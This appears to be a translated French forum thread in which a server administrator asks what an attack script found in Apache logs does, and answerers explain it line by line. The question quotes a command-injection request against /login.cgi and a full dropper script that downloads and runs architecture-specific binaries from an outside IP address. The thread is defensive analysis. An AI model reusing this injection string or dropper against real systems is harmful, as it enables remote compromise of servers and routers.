Que fait ce script bash? [Tentative de piratage]

31

J'ai remarqué ces derniers temps sur les journaux Apache de mes serveurs:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

J'ai donc créé un filtre Fail2Ban personnalisé et j'ai commencé à interdire les adresses IP demandant ces URL /login.cgi.

Mais j'étais curieux de savoir ce qu'ils essayaient de faire, alors j'ai tiré le script qu'ils essayaient d'exécuter et je n'arrive pas à comprendre exactement ce qu'il fait. Quelque chose à propos de la suppression des dossiers archivés dans / var et / tmp?

Bref, le voici:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
ndom91
la source
4
Vulnérabilité associée: twitter.com/txalin/status/1007625620090707974?lang=en
user2064000
1
Comment ce script est-il entré sur votre serveur en premier lieu?
MrWhite
3
Je viens d'ouvrir le fichier .sh dans un navigateur sur mon ordinateur personnel et de le copier et de le coller ici, il n'a jamais réellement été sur mon serveur.
ndom91
1
Ce script est un «dropper», qui est utilisé pour télécharger le script d'exploitation réel. Celui-ci sera situé à l' hxxp://80.211.173.159:80/$nameemplacement de $namechacune des architectures CPU bin_names. Donc 7 scripts d'attaque seront téléchargés et exécutés
BlueCacti

Réponses:

42

Ligne par ligne:

#!/bin/sh

Établit la shcoquille, quelle qu'elle soit, en tant que ligne de shebang. sh%20/tmp/ksdans la demande l'emporte, cette ligne est donc traitée comme un commentaire normal et ignorée.

u="asgknskjdgn"

Déclare un nom arbitraire, sans doute pour éviter d'entrer en collision avec d'autres noms de fichiers. Je ne sais pas pourquoi ils ne l'utiliseraient pas mktemp, mais peut-être que ce n'est pas disponible sur toutes les plateformes.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Énumère plusieurs architectures CPU courantes.

http_server="80.211.173.159"
http_port=80

Le serveur qui a l'exploit.

cd /tmp/||cd /var/

Tente de changer de répertoire vers un endroit où votre serveur Web est susceptible de créer des fichiers. Je crois que SELinux y contribuera, en appliquant des règles beaucoup plus strictes sur ce que le serveur Web peut faire que le système de fichiers seul.

for name in $bin_names
    do

Pour chaque architecture CPU…

    rm -rf $u

Supprime les programmes d'exploitation précédemment essayés. Inutile à cause de la ligne suivante, peut donc être ignoré.

    cp $SHELL $u

Copie l'exécutable shell actuel ( /bin/sh). Peut être ignoré en raison de la ligne suivante.

    chmod 777 $u

Donne à tout le monde un accès complet au nouveau fichier. Cela aurait dû être après la wgetcommande, qui est soit le signe d'un débutant de script shell ou une technique de mauvaise direction.

    >$u

Vide le fichier. Inutile à cause de la ligne suivante.

    wget http://$http_server:$http_port/$name -O -> $u

Remplace le fichier par le script d'exploitation de cette architecture. -O -> $uaurait pu être écrit -O - > $u(le trait d'union indique que le téléchargement doit être écrit sur la sortie standard), ce qui équivaut à -O $u.

    ./$u $name

Exécute le script d'exploitation avec l'architecture comme premier argument.

done

Termine la boucle.

Il semble que ce soit un script de tentative d'exploit trivial, essayant des exploits connus contre diverses plates-formes CPU. Je ne sais pas pourquoi il écrase $utrois fois, mais ces opérations pourraient simplement être des restes d'une itération antérieure du script. Vraisemblablement, cette version antérieure avait les exploits codés en dur plutôt que servis dynamiquement - le premier est plus facile mais garantit presque que le script sera moins efficace au fil du temps car les bogues sont corrigés.

l0b0
la source
21
Il y a un avantage à gérer explicitement le fichier. Si la destination existe déjà et est en cours d'exécution, le noyau ne vous permettra pas d'ouvrir le fichier en écriture (-ETXTBSY). Toutefois, renommer ou supprimer un programme en cours d'exécution est autorisé.
grawity
Qu'est-ce que la ->dans la wgetcommande do? Pourquoi pas juste wget ... -O $u?
RonJohn
1
@RonJohn lu comme- >
cat
5
Avec -O->filename, le filenamene s'affiche pas dans la sortie de ps ax . Cela peut être un avantage pour rendre le débogage plus difficile.
pts
1
Le cpvous donne un fichier exécutable. Peut-être utile en cas d' chmodéchec? Edit: étant donné que cela cible apparemment les routeurs, il est fort possible qu'il chmodn'existe pas.
Bob
12

C'est wgetla ligne dangereuse clé.

Le for name in $bin_namestravaille sur la liste des plates-formes et pour chaque plate-forme, il efface un répertoire temporaire, copie un shell et le rend accessible à tous.

Il télécharge ensuite un fichier en utilisant wgetpuis l'exécute en utilisant le programme shell qu'il vient de copier.

Le script tente essentiellement de télécharger une série d'exécutables ou de scripts pour chaque plate-forme qu'il peut et de les frotter contre votre système dans l'espoir qu'il puisse compromettre davantage votre système.

Mokubai
la source
6
frotter == courir?
Barmar
5
@Barmar Je suis sûr que c'était intentionnel: P
Canadian Luke REINSTATE MONICA